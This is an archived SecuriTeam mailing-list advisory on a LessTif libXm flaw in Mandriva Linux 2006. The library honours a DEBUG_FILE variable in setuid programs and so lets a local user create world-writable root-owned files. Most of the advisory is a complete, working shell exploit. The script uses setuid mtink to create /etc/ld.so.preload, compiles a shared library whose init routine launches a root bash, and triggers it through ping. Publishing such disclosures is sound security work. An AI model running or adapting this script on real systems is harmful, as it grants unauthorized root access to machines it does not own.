The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

• • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

---

Liblesstif Local Root (Exploit)

SUMMARY

LessTif is "the Hungry Programmers' version of OSF/Motif. It aims to be
source compatible meaning that the same source code should compile with
both and work exactly the same". LibXm a part of LessTif handles debug
logging in insecure manner leading to local root exploit.

DETAILS

Vulnerable Systems:

• liblesstif2-0.93.94-4mdk on Mandriva Linux 2006

Library allows to set logging of debugging information to file by setting
up environment variable DEBUG_FILE. While executing setuid binary linked
against libXm library, it doesn't check anything. Library opens file in
append mode with permission according to umask, so there is possibility to
create world writable, root owned files.

Analysis:
Creating world writable file with effective uid of root, allows in various
ways to elevate privileges f.ex. by creating /etc/ld.so.preload.

Exploit:
Exploit needs mtink to be setuid (default in Mandriva Linux 2006)
#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* [email protected] *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
if (getuid()!=0 && geteuid()==0)
{
setuid(0);
unlink("/etc/ld.so.preload");
execl("/bin/bash", "bash", 0);
}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> Karol
Wiesek.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.